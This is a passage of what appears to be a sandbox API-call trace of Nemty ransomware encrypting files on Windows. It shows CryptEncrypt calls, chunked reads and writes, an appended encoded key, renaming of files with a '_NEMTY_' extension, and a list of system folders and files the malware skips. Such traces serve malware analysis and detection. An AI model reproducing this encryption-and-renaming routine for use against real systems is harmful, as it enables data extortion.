lpUsedDefaultChar=0x0) returned 32 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0096.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0096.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0096.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0096.375] Sleep (dwMilliseconds=0x5) [0096.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed1994d0, dwHighDateTime=0x1d561e7)) [0096.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed1994d0, dwHighDateTime=0x1d561e7)) [0096.390] GetLastError () returned 0x5 [0096.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.390] GetLastError () returned 0x5 [0096.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0096.391] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="UHhlxmBohtr3vPPQHUqaCy+edqYvIk6IegD5QohbQ/4hvQsZHKJs6U9Mrkyndeoq\r\nOmMRfpqY+JEJH6wvuH604TkMTHGBUrVY8sN/wR9qC2+xZPunOUOLdjFZYyuLxYX9\r\nqTwAyjpEYjCelhMD63ljgHNrq2kPLBKRKPNiANRswAUIkjXtNnZZ+1xq6W+8WoJp\r\nRGi8ROni6utprTbFubEKN300VRG4BhIqlJbjEml8uyCK91st8w/Ou5aIdkPd37nJ\r\nYI/vqgLV1aLqAd6veq+tp8gzyi2/AhrnwucAxgG5Gk5mJyhFvlPxsAMbvgDl1fqW\r\nJMD8Hb3U1nEB69nfx3H7vA==\r\n", pcchString=0x653e91c) returned 1 [0096.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0096.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0096.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.391] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.391] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.497] CloseHandle (hObject=0xffffffff) returned 0 [0096.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0096.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0096.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.497] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0096.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.497] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0096.497] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0096.498] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0096.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0096.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0096.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", 